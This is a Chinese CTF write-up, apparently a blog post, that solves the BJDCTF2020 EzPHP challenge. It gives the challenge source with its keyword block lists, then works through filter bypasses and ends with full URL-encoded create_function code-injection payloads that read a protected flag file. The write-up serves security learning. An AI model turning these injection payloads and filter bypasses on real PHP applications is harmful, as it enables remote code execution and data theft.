[BJDCTF2020]EzPHP(create_function利用)

本文详细分析了一个PHP安全挑战的解题过程,涉及$_SERVER变量绕过、正则表达式匹配、文件内容检测、SHA1碰撞、create_function函数注入等多个知识点。通过URL编码、构造匿名函数等方式,成功避开安全限制并获取flag。最后,由于线上环境问题导致部分步骤无法复现,作者分享了其他高手的解决方案,展示了PHP安全与逆向思维的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

额,题目是没有做出来,环境多少是有点问题吧,我这么菜只能敢怒不敢言了

至于什么问题后面我会提到,跟着大佬的思路也复现了一下

题目还是能学到很多

打开环境

在这里插入图片描述
界面还是挺帅的,哈哈哈,不浪费时间,
F12+base32新的页面1nD3x.php
在这里插入图片描述

代码审计

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Neeeeee! Good Job!
fxck you! I hate English!

题目的考点有点多,一个一个来

$_SERVER['QUERY_STRING']绕过

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i',
         $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

绕过之前先要知道$_SERVER['QUERY_STRING']是什么
简单来说就是?id=1&flag=2&name=3?后面的所有的变量都属于$_SERVER['QUERY_STRING']
绕过也简单,只需URL编码一下,因为$_SERVER['QUERY_STRING']是不会URL解码的

$_GET['debu']绕过

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

要求$debu是aqua_is_cute开头和结尾,但又不能等于这个
这个也很好办,这里的正则是单行匹配,所以我们只需要加一个换行就行
$debu=aqua_is_cute%0a就行

$_REQUEST绕过

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

$_REQUEST接收请求可以是GET、POST、Cookie 等
但是当我们同时传入相同变量名的变量时,$_REQUEST是取谁的值呢

可以做个测试

<?php
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        echo $value; 
    } } ?>

在这里插入图片描述
看见了吧,POST传入相同的变量名的变量的值把GET传入的值给覆盖了
覆盖取决于php.ini中的variables_order的设置,默认顺序为:variables_order = “GPCS”

我们就可以利用这一点来绕过对字母的检测
只需要POST传入相同的变量名,然后覆盖掉,是数字或者直接留空都行

到这里就要吐槽一下了
题目中的这个点在这里一直过不去,一直都是显示 “fxck you! I hate English!”
麻了,我在本地试了好几次都行,问了师傅们也可以,但是现在就是不行
题目环境多少有点毛病,直接跳过,卡在这里了,但不妨碍继续分析

$file检测

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这个也好办,要他们相等那就让他们相等
file=data://text/plain,debu_debu_aqua 就行了

sha1碰撞

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

这里也简单,可以用数组来直接绕过就行,当然也可以网上找一下别的值拿来用
shana[]=1&passwd[]=2

重点create_function()实现注入

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg);

在做题前先了解一下create_function()函数
create_function ( string $args , string $code ) : string
创建一个匿名函数,然后过程会找 eval 得到函数体,找不到就出错

<?php
$id = $_GET['id'];
$q = 'echo'.$id.'is'.$a.";";
$sy = create_function('$a',$q);
?>

create_function匿名函数就相当于
function demo($a){
       echo $id.'is'.$a;
}

很明显,在构造函数时我们是可以做修改的
假如id=1;}phpinfo();/*会怎么样呢
本地测试一下
在这里插入图片描述
成功执行,原理很简单,就是构造函数时提前闭合了,/* 把后面的代码全部注释了,
因为前面说了 create_function 会去调用 eval,所以 phpinfo 可以被执行

function niming($a){
echo 1;} phpinfo();/*.'is'.$a;
}

回到题目

接下来的就是因为题目环境出问题,只能看大佬WP复现的过程了

	include "flag.php";
    $code('', $arg);

利用上面的匿名函数,我们就可以构造
flag[code]=create_function&flag[arg]=;}var_dump(get_defined_vars());/*

get_defined_vars()
函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量

payload
URL编码后
?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};var_dump(get_defined_vars());//

URL编码前
?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute%0a&shana[]=1&passwd[]=2&&flag[code]=create_function&flag[arg]=};var_dump(get_defined_vars());//

在这里插入图片描述
真正的flag在 realfl4g.php 中

include被禁了,还可以用 require来包含

require(php://filter/convert.base64-encode/resource=rea1fl4g.php)
但是这里不能直接包含,因为源码中把flag给unset了

echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{2622b627-3f03-4c10-9cdd-ba90b42de5e8}";
unset($rea1_f1114g);

大师傅们是取了个反来绕过的

<?php
$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);?>

require(~ %8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F)

最终的payload

URL编码后
?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};require(~ %8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F)

URL编码前
?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute%0a&shana[]=1&passwd[]=2&&flag[code]=create_function&flag[arg]=};require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F)

题目太++了,层层套娃

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值